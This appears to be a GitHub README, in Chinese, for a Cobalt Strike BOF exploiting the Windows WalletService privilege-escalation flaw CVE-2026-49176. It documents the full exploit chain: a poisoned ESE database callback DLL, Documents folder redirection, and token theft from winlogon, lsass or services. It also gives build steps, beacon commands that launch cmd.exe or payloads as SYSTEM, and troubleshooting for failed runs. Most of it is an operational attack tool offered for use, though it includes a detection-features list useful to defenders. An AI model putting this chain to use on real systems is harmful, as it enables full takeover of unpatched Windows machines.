777erp/CVE-2026-49176_BOF

GitHub: 777erp/CVE-2026-49176_BOF

针对 Windows WalletService 本地提权漏洞 CVE-2026-49176 的 Cobalt Strike BOF 利用工具,可将标准用户权限提升至 SYSTEM。

Stars: 0 | Forks: 0

# CVE-2026-49176 Cobalt Strike BOF 用于通过 Windows **WalletService** 进行本地权限提升的 Cobalt Strike **Beacon Object File (BOF)**(**CVE-2026-49176**,已于 2026 年 7 月修复)。 从中等完整性(标准用户)的 Beacon 出发,此工具会部署恶意的 Wallet ESE 数据库,重定向 Documents,触发 WalletService,并在**交互式桌面**上以 **`NT AUTHORITY\SYSTEM`** 的身份运行**由操作者指定的命令行**。 ## 免责声明 仅供授权的安全研究、教育和防御性验证使用。 ## 漏洞说明(与原 PoC 相同) WalletService 在模拟调用者时解析 `FOLDERID_Documents`,然后在打开之前恢复为 **LocalSystem**: ``` \Wallet\wallet.db ``` 标准用户可以使用 ESE **用户定义的默认** 回调(`PATH\payload.dll!Export`)填充该数据库,将 Documents 指向受控目录,并调用 WinRT `WalletManager.RequestStoreAsync` / `GetItemsAsync`,以便服务**以 SYSTEM 身份**加载 DLL。 详细分析:[CVE-2026-49176 Exploit Development: WalletService to SYSTEM](https://davidcarliez.github.io/blog/cve-2026-49176-walletservice-to-system/) ## BOF 与原 PoC 对比 — 权限提升路径 ### 相同点:如何获得 SYSTEM 代码执行 ``` Standard user → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback) → SHSetKnownFolderPath(FOLDERID_Documents) → staging root → trigger WalletService (WinRT RequestStore / GetItems) → service opens DB as LocalSystem → LoadLibrary(callback DLL) → attacker code runs as SYSTEM ← LPE complete ``` | 阶段 | 原 PoC | 此 BOF | |-------|--------------|----------| | 填充 ESE DB | `wallet_ese_seed.exe` | BOF 内部 `Jet*A` | | 重定向 Documents | `documents_path.exe` | BOF 内部 `SHGet/SetKnownFolderPath` | | 触发 Wallet | PowerShell WinRT | BOF 内部 `RoGetActivationFactory` | | 回调 DLL | `wallet_callback_shell.dll` | `wallet_callback.dll` | ### 不同点:回调之后的交互式 SYSTEM 进程 WalletService 通常使用 **受限的 SYSTEM token**(没有可用的 `SeAssignPrimaryToken` / `SeImpersonate`)。直接调用 `CreateProcess*` → **1314**。 | | 原 PoC | 此 BOF | |--|--------------|----------| | 目标进程 | 硬编码的 `cmd.exe` | **操作者提供的命令行** | | 主要方法 | 临时 **service** → `shell_broker.exe` → `CreateProcessAsUserW` | 从 `winlogon` / `services` / `lsass` **窃取 token** → 创建进程 | | 后备方案 | 无 | SCM + `cmd.exe /c "shell_broker.exe" "result.txt"` | ``` Original PoC (post-SYSTEM): DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe This BOF (post-SYSTEM): DLL → steal winlogon/services/lsass token → spawn → else CreateService(cmd /c broker) → broker → spawn ``` ## 特性 - 使用单个 Beacon 命令即可在活动桌面上以 SYSTEM 身份运行任意命令/文件 - 进程内完整执行链:部署 → 填充 → 重定向 → 触发 → 等待 → 恢复 Documents - 通过 `bof_pack("bbZ")` 打包 `wallet_callback.dll` + `shell_broker.exe` - 多策略的 SYSTEM 后渗透创建 + `result.txt` 诊断 - 仅限 x64 ## 环境要求 | 项目 | 要求 | |------|-------------| | Beacon | **x64**,中等完整性(**非提权**) | | 目标 | 存在漏洞的 WalletService(2026 年 7 月补丁之前) | | CS | 支持 BOF 的 Cobalt Strike 4.x | | 构建 | VS 2019/2022 C++ + Windows 10 SDK(`esent.h`, WinRT) | ## 目录结构 ``` bof/ ├── README.md ├── entry.cpp # BOF orchestrator (go) ├── bofdefs.h / beacon.h ├── beacon-debug.h ├── cve2026_49176.cna ├── build.bat ├── payload/ │ ├── wallet_callback.c │ └── shell_broker.c ├── bin/ │ ├── BOF/cve2026_49176.x64.o │ └── payload/ │ ├── wallet_callback.dll │ └── shell_broker.exe └── resources/strip_bof.ps1 ``` ## 构建说明 ``` cd bof build.bat ``` | 命令 | 输出 | |---------|--------| | `build.bat` / `build.bat both` | DLL + broker + x64 BOF | | `build.bat payload` | 仅 DLL + broker | | `build.bat clean` | 移除构建产物 | ``` bin\payload\wallet_callback.dll bin\payload\shell_broker.exe bin\BOF\cve2026_49176.x64.o ``` 如果 VS 不是默认安装路径,请在 `build.bat` 中修改 `VCVARS64` 路径。 关键标志:`/DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od`(CS BOF 链接器安全选项)。 ## 用法 ### 加载 Cobalt Strike → **Scripts** → **Load** → `cve2026_49176.cna` (每次重新构建后都需要重新加载。) ### 命令 ``` beacon> cve2026_49176 C:\Windows\System32\cmd.exe beacon> cve2026_49176 C:\Windows\Temp\payload.exe beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt ``` - 如果路径中没有空格,则不需要加外层引号。 - 可选菜单:Beacon → **CVE-2026-49176** → **Run command as SYSTEM...** ### 在目标上部署 ``` %LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176__\ ├── Wallet\wallet.db └── payload\ ├── wallet_callback.dll ├── shell_broker.exe ├── command.txt # UTF-16 LE └── result.txt ``` ### 打包 ``` bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command) ``` ## 预期输出 ### 任务行 ``` [*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...] ``` ### 成功(示例) ``` [*] CVE-2026-49176 BOF enter (args=...) [*] parsed dll_len=... broker_len=... cmd_bytes=... [*] stage payload... [+] Seeded wallet.db, column=256 [*] Documents redirected to: ... [+] WalletService triggered [*] wait payload result (20s)... [+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon [+] SYSTEM process launched [*] Documents restored: ... [+] CVE-2026-49176 BOF complete ``` `detail=` 可能是 `winlogon`、`services`、`lsass` 或 broker 路径。 ### 常见失败原因 | 日志 | 含义 | |-----|---------| | `JetAddColumn: -1003` | ESE 参数问题 | | `error=1314` | 受限的 SYSTEM;需要窃取 token / 使用 broker | | `STEAL_FAIL error=5` | 无法打开目标进程/token | | `StartService error=32` | 共享冲突(通过 cmd 包装器缓解) | | `detail=all_methods` | 所有 SYSTEM 后续策略均失败 | | Linker `Unknown symbol '??_C@_...'` | BOF 构建标志错误;请使用 `build.bat` 重新构建 | 只要重定向成功,即使失败也会恢复 Documents。 ## 架构 ``` cve2026_49176.cna └─ inline-execute(entry.o, go, bbZ) entry.cpp ├─ stage files under %LOCALAPPDATA% ├─ Jet*A seed wallet.db ├─ SHSetKnownFolderPath(Documents) ├─ WinRT WalletManager trigger └─ wait result.txt + restore Documents wallet_callback.dll (WalletService, SYSTEM) ├─ steal winlogon / services / lsass token → spawn command └─ fallback: CreateService(cmd /c shell_broker) shell_broker.exe └─ command.txt → CreateProcessAsUser (interactive session) ``` ## 检测特征 - Documents 已知文件夹更改 - `%LOCALAPPDATA%\CVE-2026-49176-BOF\*` + `wallet.db` + 回调 DLL - WalletService 加载了用户可写的 DLL - 针对 winlogon/lsass/services 的 `OpenProcess` / token API 调用 - 短暂存在的服务 `CVE49176_*` - 在交互式会话中调用 `CreateProcessAsUserW` / `CreateProcessWithTokenW` ## 限制 - 仅支持 x64;需要未修补的 WalletService - Wallet WinRT API 在某些系统版本上可能不可用/已被弃用 - 部署目录不会自动删除 - ESE/WinRT 在 **Beacon 内部**运行(与进程隔离的原 PoC 相比存在崩溃风险) ## 相关链接 | 链接 | 描述 | |------|-------------| | [DavidCarliez/CVE-2026-49176_LPE_POC](https://github.com/DavidCarliez/CVE-2026-49176_LPE_POC) | 原版独立的 LPE PoC(上游研究 PoC) | | [详细分析](https://davidcarliez.github.io/blog/cve-2026-49176-walletservice-to-system/) | 原始研究文章 |
标签:C/C++, Cobalt Strike, SCP, Web报告查看器, Windows, 事务性I/O, 攻击诱捕, 本地权限提升